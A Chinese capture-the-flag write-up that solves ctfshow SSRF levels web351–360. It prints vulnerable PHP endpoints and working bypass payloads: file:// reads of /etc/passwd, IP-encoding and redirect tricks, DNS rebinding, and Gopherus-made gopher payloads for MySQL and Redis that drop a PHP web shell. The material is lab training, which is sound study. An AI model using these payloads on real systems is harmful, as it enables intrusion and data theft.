ctfshow—SSRF

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

方法一

审计,用post传参给url

发现可以用file://进行读取文件

url=file:///etc/passwd

image-20210717194117071

然后尝试读取网站根目录下是否存在flag

url=file:///var/www/html/flag.php

查看注释得到flag

方法二

直接访问/flag.php

image-20210717194242243

提示非本地用户,结合代码,用post传参

url=http://127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
   die('hacker');
}
}
else{
   die('hacker');
}
?>

屏蔽了localhost|127.0.0,用进制转换绕过

IP地址进制转换 (520101.com)

url=http://2130706433/flag.php

web353

跟web352一样转换做法

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
   die('hacker');
}
}
else{
   die('hacker');
}
?>

把1和0等都过滤了,只能ASCII码转换或域名绑定

有现成的域名跳转127.0.0.1

payload:url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
   die('hacker');
}
}
else{
   die('hacker');
}
?>

要求长度小于5,127.0.0.1和127.1是等价的

payload:url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
   die('hacker');
}
}
else{
   die('hacker');
}
?>

长度小于3,payload:url=http://0/flag.php

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
   die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
   die('scheme');
}
?>

FILTER_FLAG_IPV4 – 要求值是合法的 IPv4 IP(比如 255.255.255.255) FILTER_FLAG_IPV6 – 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334) FILTER_FLAG_NO_PRIV_RANGE – 要求值是 RFC 指定的私域 IP (比如 192.168.0.1) FILTER_FLAG_NO_RES_RANGE – 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

所以不能是私有地址

利用302跳转和dns重绑定都可以

一、

在自己服务器写个a.php,内容如下

<?php
header("Location:http://127.0.0.1/flag.php");

payload:http://xxx/a.php

二、

在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写 在这里插入图片描述

然后payload:http://r.xxxxxx/flag.php xxx为分给你的域名,如

url=http://r.cvwxxx.ceye.io/flag.php

在这里插入图片描述

DNS重绑定可以看看合天网安的文章

浅谈DNS重绑定漏洞 – 知乎 (zhihu.com)

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
   echo file_get_contents($url);
}

正则表达式的意思是以http://ctf.开头,以show结尾。 payload:http://ctf.@127.0.0.1/flag.php?show

在这里插入图片描述

pares_url函数中,把@后当成主机地址解析

web359

工具下载地址https://github.com/tarunkant/Gopherus

工具例子

Examples

  • MySQL:如果用户没有密码保护,你可以转储他的数据库,也可以把恶意文件放到他的系统中。
gopherus --exploit mysql

它只询问MySQL用户的用户名,它将为您提供gopher链接。

  • PostgreSQL:如果用户没有密码保护,你可以转储他的数据库,也可以在他的系统中放入恶意文件。
gopherus --exploit postgresql

它只询问Postgres用户的用户名和数据库名称,然后它将为您提供gopher链接。

  • FastCGI:如果端口9000是开放的,没有安全性,那么你可以得到RCE。
gopherus --exploit fastcgi

它只要求一个必须存在于受害者系统中的文件(preferred.php文件),但是我们有一个默认文件。

  • Redis:如果Redis端口是打开的,那么我们可以覆盖系统中的文件,这太危险了。所以这里有两个东西可以得到:a.Reverse Shell b.PHP Shell
gopherus --exploit redis
  • Zabbix:如果端口10050是打开的EnableRemoteCommands = 1,那么您可以在受害者系统上运行shell命令。
gopherus --exploit zabbix
  • Memcached:它主要用于存储序列化数据,但当涉及到De-serialize这些数据时,已知的漏洞,如PHPDe-serialization问题,Python-PickleDe-serialization问题,Ruby-MarshalDe-serialization问题出现,从而导致RCE。因此,我为每个脚本创建了不同的脚本,还创建了一个用于转储Memcached内容的脚本:
gopherus --exploit pymemcache
gopherus --exploit rbmemcache
gopherus --exploit phpmemcache
gopherus --exploit dmpmemcache
  • SMTP:如果端口25是开放的并且我们可以访问它,我们可以将消息发送给作为受害者用户的任何人,所以这个工具将生成gopher有效负载来发送邮件。
gopherus --exploit smtp

python gopherus.py –exploit mysql 在这里插入图片描述 然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。

web360

python gopherus.py –exploit redis 在这里插入图片描述 操作方法和上面一样不要忘记编码。工具默认是生成shell.php

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇